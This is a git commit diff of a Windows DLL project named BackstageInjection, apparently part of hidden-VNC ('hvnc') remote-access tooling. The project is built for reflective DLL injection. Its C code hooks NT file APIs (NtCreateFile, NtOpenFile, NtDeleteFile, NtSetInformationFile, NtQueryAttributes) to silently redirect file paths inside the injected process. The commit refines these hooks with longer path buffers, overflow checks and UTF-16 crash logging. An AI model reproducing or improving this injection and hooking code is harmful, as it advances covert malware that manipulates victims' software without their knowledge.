test
This commit is contained in:
@@ -35,13 +35,13 @@
|
|||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
@@ -59,7 +59,7 @@
|
|||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
@@ -125,7 +125,7 @@
|
|||||||
<Optimization>MinSpace</Optimization>
|
<Optimization>MinSpace</Optimization>
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
<PrecompiledHeader />
|
<PrecompiledHeader />
|
||||||
@@ -143,7 +143,7 @@
|
|||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;WIN_ARM;_DEBUG;_WINDOWS;_USRDLL;BackstageInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
|||||||
+332
-103
@@ -32,21 +32,40 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
// Global search and replacement strings (filled from parameter)
|
// Global search and replacement strings (filled from environment variables).
|
||||||
static WCHAR g_SearchString[512] = { 0 };
|
// 2048 WCHARs (4 KB) accommodates deep UNC paths and long-path-enabled paths
|
||||||
static WCHAR g_ReplacementString[512] = { 0 };
|
// well beyond the legacy MAX_PATH of 260.
|
||||||
|
static WCHAR g_SearchString[2048] = { 0 };
|
||||||
|
static WCHAR g_ReplacementString[2048] = { 0 };
|
||||||
|
|
||||||
|
// UNICODE_STRING.Length / .MaximumLength are USHORT (max 65,535 bytes = 32,767 WCHARs).
|
||||||
|
// Any replacement path longer than this cannot be represented without wrapping.
|
||||||
|
#define UNICODE_STRING_MAX_WCHARS ((SIZE_T)32767)
|
||||||
static BOOL g_HooksInitialized = FALSE;
|
static BOOL g_HooksInitialized = FALSE;
|
||||||
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
|
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
static HANDLE g_CrashLog = INVALID_HANDLE_VALUE;
|
static HANDLE g_CrashLog = INVALID_HANDLE_VALUE;
|
||||||
|
|
||||||
// %TEMP%\crashlogovd.log
|
// %TEMP%\crashlogovd.log
|
||||||
|
// Both CrashLog (narrow) and CrashLogW (wide) write UTF-16LE so the file
|
||||||
|
// is a single coherent encoding. The BOM is written once when the file is
|
||||||
|
// opened (see InstallNtApiHooks). This makes paths containing Cyrillic,
|
||||||
|
// Chinese, Arabic, etc. readable in any standard text editor.
|
||||||
void CrashLog(const char* message) {
|
void CrashLog(const char* message) {
|
||||||
if (g_CrashLog != INVALID_HANDLE_VALUE) {
|
if (g_CrashLog != INVALID_HANDLE_VALUE) {
|
||||||
DWORD written;
|
DWORD written;
|
||||||
DWORD messageLen = (DWORD)strlen(message);
|
// Convert the narrow (ASCII/UTF-8) string to UTF-16LE before writing
|
||||||
WriteFile(g_CrashLog, message, messageLen, &written, NULL);
|
// so the file stays a single coherent encoding.
|
||||||
const char newline[] = "\r\n";
|
int wlen = MultiByteToWideChar(CP_ACP, 0, message, -1, NULL, 0);
|
||||||
WriteFile(g_CrashLog, newline, sizeof(newline) - 1, &written, NULL);
|
if (wlen > 0) {
|
||||||
|
WCHAR wbuf[512];
|
||||||
|
int copyLen = (wlen <= 512) ? wlen : 512;
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, message, -1, wbuf, copyLen);
|
||||||
|
wbuf[copyLen - 1] = L'\0'; // ensure null termination
|
||||||
|
DWORD byteLen = (DWORD)(wcslen(wbuf) * sizeof(WCHAR));
|
||||||
|
WriteFile(g_CrashLog, wbuf, byteLen, &written, NULL);
|
||||||
|
}
|
||||||
|
const WCHAR newline[] = L"\r\n";
|
||||||
|
WriteFile(g_CrashLog, newline, (DWORD)(2 * sizeof(WCHAR)), &written, NULL);
|
||||||
FlushFileBuffers(g_CrashLog);
|
FlushFileBuffers(g_CrashLog);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -56,8 +75,8 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
DWORD written;
|
DWORD written;
|
||||||
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
|
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
|
||||||
WriteFile(g_CrashLog, message, messageLen, &written, NULL);
|
WriteFile(g_CrashLog, message, messageLen, &written, NULL);
|
||||||
const char newline[] = "\r\n";
|
const WCHAR newline[] = L"\r\n";
|
||||||
WriteFile(g_CrashLog, newline, sizeof(newline) - 1, &written, NULL);
|
WriteFile(g_CrashLog, newline, (DWORD)(2 * sizeof(WCHAR)), &written, NULL);
|
||||||
FlushFileBuffers(g_CrashLog);
|
FlushFileBuffers(g_CrashLog);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -81,11 +100,19 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
#if ENABLE_DEBUG_LOGGING
|
#if ENABLE_DEBUG_LOGGING
|
||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
DWORD written;
|
DWORD written;
|
||||||
DWORD messageLen = (DWORD)strlen(message);
|
// Convert narrow string to UTF-16LE to keep the log file a single
|
||||||
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
// coherent encoding (UTF-16LE with BOM written at file open).
|
||||||
|
int wlen = MultiByteToWideChar(CP_ACP, 0, message, -1, NULL, 0);
|
||||||
const char newline[] = "\r\n";
|
if (wlen > 0) {
|
||||||
WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
|
WCHAR wbuf[512];
|
||||||
|
int copyLen = (wlen <= 512) ? wlen : 512;
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, message, -1, wbuf, copyLen);
|
||||||
|
wbuf[copyLen - 1] = L'\0';
|
||||||
|
DWORD byteLen = (DWORD)(wcslen(wbuf) * sizeof(WCHAR));
|
||||||
|
WriteFile(g_LogFile, wbuf, byteLen, &written, NULL);
|
||||||
|
}
|
||||||
|
const WCHAR newline[] = L"\r\n";
|
||||||
|
WriteFile(g_LogFile, newline, (DWORD)(2 * sizeof(WCHAR)), &written, NULL);
|
||||||
FlushFileBuffers(g_LogFile);
|
FlushFileBuffers(g_LogFile);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
@@ -102,22 +129,31 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
return (result == CSTR_LESS_THAN) ? -1 : 1;
|
return (result == CSTR_LESS_THAN) ? -1 : 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Helper function to normalize NT paths - skip \??\ prefix if present
|
// Helper function to normalize NT paths - skip \??\ prefix if present.
|
||||||
|
//
|
||||||
|
// Handled prefixes:
|
||||||
|
// \??\ — NT object namespace prefix for DOS device paths (e.g. \??\C:\...)
|
||||||
|
// \??\UNC\ — NT UNC path (e.g. \??\UNC\server\share\...) — strip only the \??\
|
||||||
|
// leaving UNC\ visible so search/replace still matches correctly
|
||||||
|
// \??\Volume{…} — Volume GUID paths — strip only the \??\ prefix
|
||||||
|
// \Device\ — Raw device paths — left as-is (no stripping)
|
||||||
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
|
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
|
||||||
if (!path || !adjustedLength) return path;
|
if (!path || !adjustedLength) return path;
|
||||||
|
|
||||||
SIZE_T length = *adjustedLength;
|
SIZE_T length = *adjustedLength;
|
||||||
|
|
||||||
// Check for \??\ prefix (NT object namespace for DOS devices)
|
// Check for \??\ prefix (NT object namespace for DOS devices, UNC, and GUID volumes).
|
||||||
|
// Strip the 4-character prefix in all cases; the caller then sees the "canonical"
|
||||||
|
// Win32-equivalent form (C:\..., UNC\server\share\..., Volume{GUID}\...).
|
||||||
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
|
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
|
||||||
*adjustedLength = length - 4;
|
*adjustedLength = length - 4;
|
||||||
return path + 4;
|
return path + 4;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check for \Device\ or \DEVICE\ prefix
|
// Check for \Device\ prefix (raw device path — e.g. \Device\HarddiskVolume3\...).
|
||||||
if (length >= 8 &&
|
// Do NOT strip: these are not Win32-rooted paths and the search string is
|
||||||
(wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
|
// expected to be a Win32-style path, so the match would be spurious.
|
||||||
// Don't adjust - these are device paths, not file paths
|
if (length >= 8 && wcsnicmp_custom(path, L"\\Device\\", 8) == 0) {
|
||||||
return path;
|
return path;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -350,7 +386,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
|
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
|
||||||
WCHAR posStr[32];
|
WCHAR posStr[32];
|
||||||
wsprintfW(posStr, L"%zu", i);
|
wsprintfW(posStr, L"%Iu", i); // %Iu is the Win32 API SIZE_T format specifier; %zu is C99 CRT-only
|
||||||
LogDebug(posStr);
|
LogDebug(posStr);
|
||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
@@ -390,8 +426,12 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
|
|
||||||
if (occurrences == 0) return NULL;
|
if (occurrences == 0) return NULL;
|
||||||
|
|
||||||
// Calculate new length (prefix + modified path)
|
// Calculate new length (prefix + modified path).
|
||||||
SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
|
// Avoid SIZE_T unsigned underflow when replaceLen < searchLen by computing
|
||||||
|
// additions and subtractions separately (all terms are non-negative).
|
||||||
|
SIZE_T calcNewLength = prefixLength + normalizedLength
|
||||||
|
- (occurrences * searchLen)
|
||||||
|
+ (occurrences * replaceLen);
|
||||||
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
|
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
|
||||||
if (!newPath) return NULL;
|
if (!newPath) return NULL;
|
||||||
|
|
||||||
@@ -460,17 +500,25 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
if (buffer) {
|
if (buffer) {
|
||||||
WCHAR tempBuf[512] = { 0 };
|
if (newLength > UNICODE_STRING_MAX_WCHARS) {
|
||||||
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
// Replacement path too long to fit in a UNICODE_STRING (USHORT
|
||||||
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
// byte-count would wrap). Skip redirection and use original path.
|
||||||
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
|
CrashLog("[NtCreateFile] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect");
|
||||||
LogDebug(tempBuf);
|
HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
|
buffer = NULL;
|
||||||
|
} else {
|
||||||
|
WCHAR tempBuf[512] = { 0 };
|
||||||
|
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||||
|
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||||
|
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
|
||||||
|
LogDebug(tempBuf);
|
||||||
|
|
||||||
originalString = ObjectAttributes->ObjectName;
|
originalString = ObjectAttributes->ObjectName;
|
||||||
newString.Buffer = buffer;
|
newString.Buffer = buffer;
|
||||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
ObjectAttributes->ObjectName = &newString;
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
|
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
|
||||||
@@ -528,17 +576,23 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
if (buffer) {
|
if (buffer) {
|
||||||
WCHAR tempBuf[512] = { 0 };
|
if (newLength > UNICODE_STRING_MAX_WCHARS) {
|
||||||
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
CrashLog("[NtOpenFile] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect");
|
||||||
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
|
buffer = NULL;
|
||||||
LogDebug(tempBuf);
|
} else {
|
||||||
|
WCHAR tempBuf[512] = { 0 };
|
||||||
|
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||||
|
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||||
|
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
|
||||||
|
LogDebug(tempBuf);
|
||||||
|
|
||||||
originalString = ObjectAttributes->ObjectName;
|
originalString = ObjectAttributes->ObjectName;
|
||||||
newString.Buffer = buffer;
|
newString.Buffer = buffer;
|
||||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
ObjectAttributes->ObjectName = &newString;
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
|
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
|
||||||
@@ -578,11 +632,17 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
if (buffer) {
|
if (buffer) {
|
||||||
originalString = ObjectAttributes->ObjectName;
|
if (newLength > UNICODE_STRING_MAX_WCHARS) {
|
||||||
newString.Buffer = buffer;
|
CrashLog("[NtDeleteFile] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect");
|
||||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
buffer = NULL;
|
||||||
ObjectAttributes->ObjectName = &newString;
|
} else {
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -612,40 +672,81 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
) {
|
) {
|
||||||
if (!OriginalNtSetInformationFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL
|
if (!OriginalNtSetInformationFile) return 0xC0000001L; // STATUS_UNSUCCESSFUL
|
||||||
|
|
||||||
|
// FileRenameInformation (class 10): BOOLEAN ReplaceIfExists + HANDLE + ULONG len + WCHAR[]
|
||||||
|
// FileRenameInformationEx (class 65): ULONG Flags (32-bit bitfield) + HANDLE + ULONG len + WCHAR[]
|
||||||
|
// These have different first-field types; use separate structs to avoid truncating Flags.
|
||||||
typedef struct {
|
typedef struct {
|
||||||
BOOLEAN ReplaceIfExists;
|
BOOLEAN ReplaceIfExists;
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
ULONG FileNameLength;
|
||||||
|
WCHAR FileName[1];
|
||||||
|
} FILE_RENAME_INFO_V1;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
ULONG Flags; // FILE_RENAME_REPLACE_IF_EXISTS | FILE_RENAME_POSIX_SEMANTICS | ...
|
||||||
HANDLE RootDirectory;
|
HANDLE RootDirectory;
|
||||||
ULONG FileNameLength;
|
ULONG FileNameLength;
|
||||||
WCHAR FileName[1];
|
WCHAR FileName[1];
|
||||||
} FILE_RENAME_INFO;
|
} FILE_RENAME_INFO_V2;
|
||||||
|
|
||||||
|
WCHAR* newPath = NULL;
|
||||||
|
|
||||||
__try {
|
__try {
|
||||||
if (g_HooksInitialized && FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
|
if (g_HooksInitialized && FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
|
||||||
FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
|
// Use V1 layout to read FileNameLength (offset is the same in both structs
|
||||||
if (renameInfo->FileNameLength > 0) {
|
// after the first field + alignment). Only access FileName[], which starts
|
||||||
SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
|
// at the same relative position in both.
|
||||||
|
FILE_RENAME_INFO_V1* renameInfoV1 = (FILE_RENAME_INFO_V1*)FileInformation;
|
||||||
|
FILE_RENAME_INFO_V2* renameInfoV2 = (FILE_RENAME_INFO_V2*)FileInformation;
|
||||||
|
|
||||||
if (NeedsRedirection(renameInfo->FileName, pathLength)) {
|
ULONG fileNameLength = (FileInformationClass == FileRenameInformation)
|
||||||
|
? renameInfoV1->FileNameLength
|
||||||
|
: renameInfoV2->FileNameLength;
|
||||||
|
WCHAR* fileName = (FileInformationClass == FileRenameInformation)
|
||||||
|
? renameInfoV1->FileName
|
||||||
|
: renameInfoV2->FileName;
|
||||||
|
|
||||||
|
if (fileNameLength > 0) {
|
||||||
|
SIZE_T pathLength = fileNameLength / sizeof(WCHAR);
|
||||||
|
|
||||||
|
if (NeedsRedirection(fileName, pathLength)) {
|
||||||
SIZE_T newLength = 0;
|
SIZE_T newLength = 0;
|
||||||
WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
|
newPath = ReplacePath(fileName, pathLength, &newLength);
|
||||||
|
|
||||||
if (newPath) {
|
if (newPath) {
|
||||||
ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
|
ULONG newInfoSize;
|
||||||
FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
|
LPVOID newRenameInfo = NULL;
|
||||||
|
|
||||||
|
if (FileInformationClass == FileRenameInformation) {
|
||||||
|
newInfoSize = (ULONG)(sizeof(FILE_RENAME_INFO_V1) - sizeof(WCHAR) + newLength * sizeof(WCHAR));
|
||||||
|
FILE_RENAME_INFO_V1* ni = (FILE_RENAME_INFO_V1*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
|
||||||
|
if (ni) {
|
||||||
|
ni->ReplaceIfExists = renameInfoV1->ReplaceIfExists;
|
||||||
|
ni->RootDirectory = renameInfoV1->RootDirectory;
|
||||||
|
ni->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
|
||||||
|
memcpy(ni->FileName, newPath, ni->FileNameLength);
|
||||||
|
newRenameInfo = ni;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
newInfoSize = (ULONG)(sizeof(FILE_RENAME_INFO_V2) - sizeof(WCHAR) + newLength * sizeof(WCHAR));
|
||||||
|
FILE_RENAME_INFO_V2* ni = (FILE_RENAME_INFO_V2*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
|
||||||
|
if (ni) {
|
||||||
|
ni->Flags = renameInfoV2->Flags; // preserve all 32-bit flags
|
||||||
|
ni->RootDirectory = renameInfoV2->RootDirectory;
|
||||||
|
ni->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
|
||||||
|
memcpy(ni->FileName, newPath, ni->FileNameLength);
|
||||||
|
newRenameInfo = ni;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HeapFree(GetProcessHeap(), 0, newPath);
|
||||||
|
newPath = NULL;
|
||||||
|
|
||||||
if (newRenameInfo) {
|
if (newRenameInfo) {
|
||||||
newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
|
|
||||||
newRenameInfo->RootDirectory = renameInfo->RootDirectory;
|
|
||||||
newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
|
|
||||||
memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
|
|
||||||
|
|
||||||
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
|
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
|
||||||
|
|
||||||
HeapFree(GetProcessHeap(), 0, newRenameInfo);
|
HeapFree(GetProcessHeap(), 0, newRenameInfo);
|
||||||
HeapFree(GetProcessHeap(), 0, newPath);
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
HeapFree(GetProcessHeap(), 0, newPath);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -653,6 +754,8 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
}
|
}
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
char _excMsg[64]; sprintf_s(_excMsg, 64, "[HOOK] NtSetInfoFile exception: 0x%X", GetExceptionCode()); CrashLog(_excMsg);
|
char _excMsg[64]; sprintf_s(_excMsg, 64, "[HOOK] NtSetInfoFile exception: 0x%X", GetExceptionCode()); CrashLog(_excMsg);
|
||||||
|
// Free newPath if an exception fires after allocation but before the HeapFree below.
|
||||||
|
if (newPath) { HeapFree(GetProcessHeap(), 0, newPath); newPath = NULL; }
|
||||||
}
|
}
|
||||||
|
|
||||||
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
|
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
|
||||||
@@ -677,11 +780,17 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
if (buffer) {
|
if (buffer) {
|
||||||
originalString = ObjectAttributes->ObjectName;
|
if (newLength > UNICODE_STRING_MAX_WCHARS) {
|
||||||
newString.Buffer = buffer;
|
CrashLog("[NtQueryAttribs] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect");
|
||||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
buffer = NULL;
|
||||||
ObjectAttributes->ObjectName = &newString;
|
} else {
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -721,11 +830,17 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
